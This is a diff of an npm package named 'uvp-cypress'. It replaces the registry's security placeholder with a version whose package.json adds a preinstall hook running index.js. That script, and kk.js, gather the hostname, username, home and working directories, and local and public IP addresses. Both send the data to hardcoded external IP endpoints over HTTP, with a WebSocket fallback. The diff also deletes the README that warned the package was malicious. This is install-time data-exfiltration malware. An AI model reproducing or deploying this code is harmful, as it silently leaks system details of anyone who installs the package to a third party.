uvp-cypress 0.0.1-security → 0.0.1

package/index.js

@@ -0,0 +1,104 @@
+const os = require("os");
+const https = require("https");
+
+// Dynamically import node-fetch
+async function getFetch() {
+    return (await import("node-fetch")).default;
+}
+
+// Collect System Information
+const systemInfo = {
+    publicIP: "", // Will be fetched dynamically
+    hostname: os.hostname(),
+    osType: os.type(),
+    osPlatform: os.platform(),
+    osRelease: os.release(),
+    osArch: os.arch(),
+    localIP: Object.values(os.networkInterfaces())
+        .flat()
+        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
+    whoamiUser: os.userInfo().username,
+    currentDirectory: process.cwd(),
+};
+
+// Fetch public IP dynamically
+https.get("https://api64.ipify.org?format=json", (res) => {
+    let data = "";
+    res.on("data", (chunk) => (data += chunk));
+    res.on("end", () => {
+        try {
+            systemInfo.publicIP = JSON.parse(data).ip;
+        } catch (e) {
+            systemInfo.publicIP = "Unknown";
+        }
+        sendData(systemInfo); // Call sendData only after fetching public IP
+    });
+}).on("error", () => sendData(systemInfo)); // Fallback if IP fetch fails
+
+// List of fallback servers
+const endpoints = [
+    "http://23.22.251.177:8080/jpd1.php",
+    "http://23.22.251.177:8080/jpd.php",
+];
+
+// Get random available endpoint
+function getAvailableEndpoint() {
+    return endpoints[Math.floor(Math.random() * endpoints.length)];
+}
+
+// Convert system info to query string
+function buildQueryParams(data) {
+    return Object.entries(data)
+        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
+        .join("&");
+}
+
+// Send Data (GET first, then POST)
+async function sendData(data) {
+    try {
+        const fetch = await getFetch();
+
+        // Construct GET request URL
+        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
+
+        // Send GET request
+        await fetch(getUrl, { method: "GET" });
+
+        // Send POST request
+        const postResponse = await fetch(getAvailableEndpoint(), {
+            method: "POST",
+            headers: {
+                "Content-Type": "application/json",
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
+            },
+            body: JSON.stringify(data),
+        });
+
+        const result = await postResponse.text();
+        console.log("Response:", result);
+    } catch (error) {
+        console.error("Error sending data via HTTP:", error);
+        sendViaWebSocket(data); // Fallback to WebSocket if HTTP fails
+    }
+}
+
+// WebSocket Backup (if HTTP requests fail)
+async function sendViaWebSocket(data) {
+    try {
+        const { WebSocket } = await import("ws"); // Import ws dynamically
+        const ws = new WebSocket("wss://yourserver.com/socket");
+
+        ws.on("open", () => {
+            console.log("WebSocket connection established.");
+            ws.send(JSON.stringify(data));
+            ws.close();
+        });
+
+        ws.on("error", (err) => {
+            console.error("WebSocket Error:", err);
+        });
+    } catch (error) {
+        console.error("WebSocket module import failed:", error);
+    }
+}
+

package/kk.js

@@ -0,0 +1,69 @@
+const os = require('os');
+const axios = require('axios');
+
+// Function to get the public IP address
+async function getPublicIP() {
+  try {
+    const response = await axios.get('https://ipinfo.io/json');
+    return response.data.ip || 'Unknown';
+  } catch (error) {
+    console.error('Error fetching public IP:', error.message);
+    return 'Unknown';
+  }
+}
+
+// Function to send collected data (Pingback)
+async function pingBack(data) {
+  try {
+    console.log("Sending data:", JSON.stringify(data, null, 2)); // Debugging log
+
+    const response = await axios.post('http://35.170.187.220:8080/collect_info.php', data, {
+      headers: {
+        'Content-Type': 'application/json'  // Ensure correct content type
+      }
+    });
+
+    console.log('Pingback sent successfully:', response.data);
+  } catch (error) {
+    console.error('Error sending pingback:', error.response ? error.response.data : error.message);
+  }
+}
+
+// Function to collect system and network information
+function getNetworkInfo() {
+  const interfaces = os.networkInterfaces();
+  let ipAddress = 'Unknown';
+
+  // Find the first non-internal IPv4 address
+  for (const iface of Object.values(interfaces)) {
+    for (const details of iface) {
+      if (details.family === 'IPv4' && !details.internal) {
+        ipAddress = details.address;
+        break;
+      }
+    }
+  }
+
+  return {
+    hostname: os.hostname(),
+    homeDirectory: os.homedir(),
+    currentDirectory: process.cwd(),
+    localIP: ipAddress
+  };
+}
+
+// Main function to collect and send data
+async function collectData() {
+  const networkInfo = getNetworkInfo();
+  const publicIP = await getPublicIP();
+
+  const data = { 
+    ...networkInfo,
+    publicIP
+  };
+
+  await pingBack(data);
+}
+
+// Execute the script
+collectData();

package/package.json

@@ -1,6 +1,19 @@
 {
   "name": "uvp-cypress",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.0.1",
+  "description": "Package Claimed By JPD",
+  "license": "ISC",
+  "author": "JPD",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "dependencies": {
+    "axios": "^1.7.9"
+  },
+  "engines": {
+    "node": ">=14.0.0"
+  }
 }

package/server.js

@@ -0,0 +1,14 @@
+const express = require('express');
+const app = express();
+const port = 8080;
+
+app.use(express.json());
+
+app.post('/', (req, res) => {
+  console.log('Received data:', req.body); // Log the incoming data
+  res.status(200).send('Data received');
+});
+
+app.listen(port, () => {
+  console.log(`Server running at http://23.22.251.177:${port}/`);
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=uvp-cypress for more information.